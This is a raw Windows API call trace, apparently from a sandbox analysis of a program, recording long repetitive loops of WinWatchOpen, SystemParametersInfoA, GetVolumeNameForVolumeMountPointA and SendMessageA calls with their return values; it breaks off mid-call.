[0140.529] WinWatchNotify () returned 0x0 [0140.529] timeGetTime () returned 0x11385ea [0140.529] WinWatchOpen () returned 0x63a980 [0140.529] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.529] LockResource (hResData=0x0) returned 0x0 [0140.529] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.529] WinWatchNotify () returned 0x0 [0140.529] timeGetTime () returned 0x11385ea [0140.529] WinWatchOpen () returned 0x63a9a0 [0140.529] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.529] LockResource (hResData=0x0) returned 0x0 [0140.529] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.529] WinWatchNotify () returned 0x0 [0140.529] timeGetTime () returned 0x11385ea [0140.529] WinWatchOpen () returned 0x63a9c0 [0140.529] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.529] LockResource (hResData=0x0) returned 0x0 [0140.529] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.529] WinWatchNotify () returned 0x0 [0140.529] timeGetTime () returned 0x11385ea [0140.529] WinWatchOpen () returned 0x63a9e0 [0140.529] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.529] LockResource (hResData=0x0) returned 0x0 [0140.529] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.529] WinWatchNotify () returned 0x0 [0140.529] timeGetTime () returned 0x11385eb [0140.529] WinWatchOpen () returned 0x63aa00 [0140.529] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.529] LockResource (hResData=0x0) returned 0x0 [0140.530] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.530] WinWatchNotify () returned 0x0 [0140.530] timeGetTime () returned 0x11385eb [0140.530] WinWatchOpen () returned 0x63aa20 [0140.530] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.530] LockResource (hResData=0x0) returned 0x0 [0140.530] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.530] WinWatchNotify () returned 0x0 [0140.530] timeGetTime () returned 0x11385eb [0140.530] WinWatchOpen () returned 0x63aa40 [0140.530] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.530] LockResource (hResData=0x0) returned 0x0 [0140.530] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.530] WinWatchNotify () returned 0x0 [0140.530] timeGetTime () returned 0x11385eb [0140.530] WinWatchOpen () returned 0x63aa60 [0140.530] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.530] LockResource (hResData=0x0) returned 0x0 [0140.530] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.530] WinWatchNotify () returned 0x0 [0140.530] timeGetTime () returned 0x11385eb [0140.530] WinWatchOpen () returned 0x63aa80 [0140.530] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.530] LockResource (hResData=0x0) returned 0x0 [0140.530] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.530] WinWatchNotify () returned 0x0 [0140.530] timeGetTime () returned 0x11385eb [0140.530] WinWatchOpen () returned 0x63aaa0 [0140.530] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.530] LockResource (hResData=0x0) returned 0x0 [0140.530] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.530] WinWatchNotify () returned 0x0 [0140.530] timeGetTime () returned 0x11385eb [0140.530] WinWatchOpen () returned 0x63aac0 [0140.530] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.530] LockResource (hResData=0x0) returned 0x0 [0140.530] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.531] WinWatchNotify () returned 0x0 [0140.531] timeGetTime () returned 0x11385ec [0140.531] WinWatchOpen () returned 0x63aae0 [0140.531] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.531] LockResource (hResData=0x0) returned 0x0 [0140.531] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.531] WinWatchNotify () returned 0x0 [0140.531] timeGetTime () returned 0x11385ec [0140.531] WinWatchOpen () returned 0x63ab00 [0140.531] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.531] LockResource (hResData=0x0) returned 0x0 [0140.531] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.531] WinWatchNotify () returned 0x0 [0140.531] timeGetTime () returned 0x11385ec [0140.531] WinWatchOpen () returned 0x63ab20 [0140.531] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.531] LockResource (hResData=0x0) returned 0x0 [0140.531] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.531] WinWatchNotify () returned 0x0 [0140.531] timeGetTime () returned 0x11385ec [0140.531] WinWatchOpen () returned 0x63ab40 [0140.531] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.531] LockResource (hResData=0x0) returned 0x0 [0140.531] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.531] WinWatchNotify () returned 0x0 [0140.531] timeGetTime () returned 0x11385ec [0140.531] WinWatchOpen () returned 0x63ab60 [0140.531] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.531] LockResource (hResData=0x0) returned 0x0 [0140.531] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.531] WinWatchNotify () returned 0x0 [0140.531] timeGetTime () returned 0x11385ec [0140.531] WinWatchOpen () returned 0x63ab80 [0140.531] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.531] LockResource (hResData=0x0) returned 0x0 [0140.531] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.531] WinWatchNotify () returned 0x0 [0140.531] timeGetTime () returned 0x11385ed [0140.531] WinWatchOpen () returned 0x63aba0 [0140.531] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.532] LockResource (hResData=0x0) returned 0x0 [0140.532] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.532] WinWatchNotify () returned 0x0 [0140.532] timeGetTime () returned 0x11385ed [0140.532] WinWatchOpen () returned 0x63abc0 [0140.532] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.532] LockResource (hResData=0x0) returned 0x0 [0140.532] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.532] WinWatchNotify () returned 0x0 [0140.532] timeGetTime () returned 0x11385ed [0140.532] WinWatchOpen () returned 0x63abe0 [0140.532] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.532] LockResource (hResData=0x0) returned 0x0 [0140.532] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.532] WinWatchNotify () returned 0x0 [0140.532] timeGetTime () returned 0x11385ed [0140.532] WinWatchOpen () returned 0x63ac00 [0140.532] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.532] LockResource (hResData=0x0) returned 0x0 [0140.532] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.532] WinWatchNotify () returned 0x0 [0140.532] timeGetTime () returned 0x11385ed [0140.532] WinWatchOpen () returned 0x63ac20 [0140.532] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.532] LockResource (hResData=0x0) returned 0x0 [0140.532] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.532] WinWatchNotify () returned 0x0 [0140.532] timeGetTime () returned 0x11385ed [0140.532] WinWatchOpen () returned 0x63ac40 [0140.532] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.532] LockResource (hResData=0x0) returned 0x0 [0140.532] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.532] WinWatchNotify () returned 0x0 [0140.532] timeGetTime () returned 0x11385ed [0140.532] WinWatchOpen () returned 0x63ac60 [0140.532] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.532] LockResource (hResData=0x0) returned 0x0 [0140.532] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.532] WinWatchNotify () returned 0x0 [0140.532] timeGetTime () returned 0x11385ed [0140.532] WinWatchOpen () returned 0x63ac80 [0140.532] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.533] LockResource (hResData=0x0) returned 0x0 [0140.533] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.533] WinWatchNotify () returned 0x0 [0140.533] timeGetTime () returned 0x11385ed [0140.533] WinWatchOpen () returned 0x63aca0 [0140.533] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.533] LockResource (hResData=0x0) returned 0x0 [0140.533] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.533] WinWatchNotify () returned 0x0 [0140.533] timeGetTime () returned 0x11385ed [0140.533] WinWatchOpen () returned 0x63acc0 [0140.533] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.533] LockResource (hResData=0x0) returned 0x0 [0140.533] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.533] WinWatchNotify () returned 0x0 [0140.533] timeGetTime () returned 0x11385ed [0140.533] WinWatchOpen () returned 0x63ace0 [0140.533] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.533] LockResource (hResData=0x0) returned 0x0 [0140.533] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.533] WinWatchNotify () returned 0x0 [0140.533] timeGetTime () returned 0x11385ed [0140.533] WinWatchOpen () returned 0x63ad00 [0140.533] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.533] LockResource (hResData=0x0) returned 0x0 [0140.533] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.533] WinWatchNotify () returned 0x0 [0140.533] timeGetTime () returned 0x11385ed [0140.533] WinWatchOpen () returned 0x63ad20 [0140.533] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.533] LockResource (hResData=0x0) returned 0x0 [0140.533] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.533] WinWatchNotify () returned 0x0 [0140.533] timeGetTime () returned 0x11385ed [0140.533] WinWatchOpen () returned 0x63ad40 [0140.533] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.533] LockResource (hResData=0x0) returned 0x0 [0140.533] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.533] WinWatchNotify () returned 0x0 [0140.533] timeGetTime () returned 0x11385ed [0140.533] WinWatchOpen () returned 0x63ad60 [0140.533] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.534] LockResource (hResData=0x0) returned 0x0 [0140.534] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.534] WinWatchNotify () returned 0x0 [0140.534] timeGetTime () returned 0x11385ed [0140.534] WinWatchOpen () returned 0x63ad80 [0140.534] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.534] LockResource (hResData=0x0) returned 0x0 [0140.534] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.534] WinWatchNotify () returned 0x0 [0140.534] timeGetTime () returned 0x11385ed [0140.534] WinWatchOpen () returned 0x63ada0 [0140.534] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.534] LockResource (hResData=0x0) returned 0x0 [0140.534] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.534] WinWatchNotify () returned 0x0 [0140.534] timeGetTime () returned 0x11385ed [0140.534] WinWatchOpen () returned 0x63ade0 [0140.534] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.534] LockResource (hResData=0x0) returned 0x0 [0140.534] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.534] WinWatchNotify () returned 0x0 [0140.534] timeGetTime () returned 0x11385ed [0140.534] WinWatchOpen () returned 0x63ae00 [0140.534] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.534] LockResource (hResData=0x0) returned 0x0 [0140.534] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.658] Escape (in: hdc=0xc, iEscape=19, cjIn=5, pvIn="pà[", pvOut=0x0 | out: pvOut=0x0) returned 0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.690] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.691] IsDlgButtonChecked (hDlg=0x0, nIDButton=0) returned 0x0 [0140.691] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.762] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.872] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.872] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.872] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.872] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.872] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.872] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.872] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.873] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, 